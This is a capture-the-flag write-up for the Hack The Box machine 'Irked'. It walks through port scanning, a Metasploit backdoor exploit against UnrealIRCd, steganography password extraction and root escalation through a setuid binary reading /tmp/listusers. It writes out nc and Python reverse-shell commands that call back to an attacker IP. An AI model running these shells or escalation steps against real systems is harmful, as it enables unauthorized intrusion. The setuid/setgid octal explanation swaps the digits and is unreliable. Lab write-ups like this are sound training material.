HTB Write-up: Irked

Irked is an easy-difficulty Linux machine that involves the exploitation of an IRC server using a public exploit, a bit of steganography, and the abuse of a far-from-functional custom binary owned by the root user of the system. Overall, the box is pretty straightforward, yet a lesson can be learned surrounding the dangers of the setuid bit being set when it shouldn’t be. This machine is unique in the sense that upon gaining initial access to the system as the www-data user, it is possible (and arguably simpler) to elevate priveleges directly to the root user, bypassing the low privelege djmardov user and the related steganography puzzle entirely.

Note: I completed this challenge on December 16th, 2018, however I’m just now writing it up in December 2019. As such, some of the details are sparse.

User

To begin the enumeration process, a port scan was run against the target using masscan. The purpose of this initial scan is to quickly determine which ports are open so that a more focused nmap scan can be performed that will target only the open ports discovered by masscan.

root@kali:~/workspace/hackthebox/Access# masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.117

From masscan, it was revealed that a variety of ports were listening for connections, as shown in the command output below.

Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 8067/tcp on 10.10.10.117                                  
Discovered open port 65534/tcp on 10.10.10.117                                 
Discovered open port 80/tcp on 10.10.10.117                                    
Discovered open port 111/tcp on 10.10.10.117                                   
Discovered open port 22/tcp on 10.10.10.117                                    
Discovered open port 50167/tcp on 10.10.10.117                                 
Discovered open port 6697/tcp on 10.10.10.117 
...

Using this information, a second scan was run using nmap to more thoughoughly examine the services listening on the discovered ports.

root@kali:~/workspace/hackthebox/Access# nmap -p 8067,65534,80,111,22,50167,6697 -sC -sV -oA scans/discovered-tcp 10.10.10.117

Note that while this scan is running, it’s a good idea to check out what might be happening on well-known ports such as the HTTP port TCP 80. In this case, it appears the only item present on the webserver is the irked.jpg image which is shown below.

The results of the nmap scan revealed some interesting services listening on some uncommon ports, which suggest a good starting place for further enumeration. Note that in general, it is wise to take a broad approach during the initial enumeration process. That is to say that basic enumeration of each listening service should be completed before moving on to more focused enumeration of any particular service. In this write-up, the basic enumeration techniques are not discussed. A screenshot of the result of the nmap scan is shown below.

Of particular interest is the UnrealIRCd service running on TCP ports 6697, 8067, and 65534.

Using an IRC client such as hexchat, the IRC service listening on port 6697 can be accessed. If neccessary, hexchat can be installed using apt-get install hexchat. Upon connecting to the service, the server announces the running version of UnrealIRCd as 3.2.8.1. This is shown in the screenshot below.

Lesser-known and outdated services are often vulnerable to exploitation. The searchsploit tool can be used to search for exploits relevant to a given service. Now that the version of UnrealIRCd running on the target server is known, the command shown below can be used to search for vulnerabliities and exploits relevant to UnrealIRCd 3.2.8.1.

root@kali:~/workspace/hackthebox/Irked# searchsploit "UnrealIRCd 3.2.8.1"

The results of the search reveal that thare are a variety of exploits related to this version of UnrealIRCd, including a backdoor command exeuction Metasploit module.

The Metasploit Framework can be accessed via command line with the msfconsole command. Within msfconsole, the exploit/unix/irc/unreal_ircd_3281_backdoor module can be loaded and ran against the target using the options shown below.

Running this module with the run command results in a shell on the system as the ircd user. This session can be upgraded to a more stable shell by first connecting back to the attacking system once again, but this time outisde of msfconsole. In a new window on the attacking system, a listener should be set up before issuing the nc -e /bin/bash 10.10.14.2 4444 command on the target system. From the session created over this connection, the shell can be upgraded, as demonstrated below.

In the /home directory of the target system there are two users; ircd and djmardov. The flag user.txt file is in the /home/djamardov/Documents directory, but cannot be read by the current ircd user. In this same directory, however, there is a file called .backup, the contents of which are shown below.

Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

For those unfamiliar with steg, the word “steg” is short for “steganography” and is the practice of concealing a file, message, image, or video within another file, message, image or video. The contents of the .backup file in the home directory of djmardov suggets that there must be some information hidden in another file, and that UPupDOWNdownLRlrBAbaSSss must be the password to access the information.

A useful Linux tool for working with stegonagrphy is steghide. If necessary, this tool can be installed using apt-get install steghide. The steghide command shown below can be run against the irked.jpg image found on the webserver.

root@kali:~/workspace/hackthebox/Irked# steghide info irked.jpg

Upon running this command, the program prompts for a password, for which UPupDOWNdownLRlrBAbaSSss should be given, revealing the information shown below.

The embedded pass.txt file can be extracted with the following command.

root@kali:~/workspace/hackthebox/Irked# steghide extract -sf irked.jpg -p 

The pass.txt file can now be read and contains the data shown below.

Kab6h+m+bbp2J:HG

Returning to the target system, the password shown above can be used to switch to the djmardov user with the su command. The user.txt file can now be read.

Root

With the password for djmardov, the target system can be accessed over SSH as the djmardov user. This provides for a cleaner experience as compared to the upgraded shell used up until this point.

To begin searching for misconfigurations that could lead to the elevation of priveleges, a search of the file system using find can be performed with the purpose of locating files owned by the root user that have the setuid bit set.

djmardov@irked:~$ find / -user root -perm -u=s 2> /dev/null

The setuid and setgid flags are Unix access rights flags that allow users to run programs with the permissions of the file’s owner or group respectively. The setuid and setgid bits can be set by changing a file’s mode with chmod. An octal file mode beginning with 2 (i.e. chmod 4755 file.sh) will set a file’s setuid flag, and an octal file mode beginning with 4 (i.e. chmod 2755 file.sh) will set a file’s setgid flag.

Sometimes, a program owned by the root user that has the setuid bit set can be used to elevate privleges to root, since whenever the program is run it is run with root level permissions. While it is common for certain programs owned by the root user to have the setuid flag set, it is important to keep an eye out for anything out of the ordinary.

The result of the aformentioned find command are shown in the image below.

Most of this looks normal, however the /usr/bin/viewuser program is not a standard setuid Linux binary.

Running the viewuser binary displays some interesting output.

First of all, it appears that this is a custom binary that is still being developed. Secondly, it appears that the program attempts to interact with the /tmp/listusers file (which as suggested by the output does not exist).

Knowing that viewuser is run with root permission and that it interacts with a nonexistent listusers file in the /tmp directory suggests a disasterous outcome, as the /tmp directory is world writable. This is to say that any user on the system can write to the /tmp directory, and therefore any user can create a listusers file.

To test whether the viewuser binary will execute code from within the /tmp/listusers file, a simple ping test can be performed. A listusers executable file can be written to the /tmp directory.

djmardov@irked:~$ echo "ping -c 5 10.10.14.2" > /tmp/listusers && chmod 755 /tmp/listusers

Next, the tcpdump tool can be run on the attacking system to confirm whether the target system is executing the ping command in the /tmp/listusers file.

root@kali:~/workspace/hackthebox/Irked# tcpdump -nni any icmp

The viewuser binary should be run again to test the ping command. The output on the attacking system from the tcpdump command confirms that the viewuser binary on the target system is executing shell commands in the /tmp/listusers file. At this point, the contents of the /tmp/listusers file can be replaced with a reverse shell. The Python reverse shell used for this is shown below.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

After setting up a listener on the attacking system, the viewuser binary should be run once again, resulting in a reverse shell as the root user of the target system.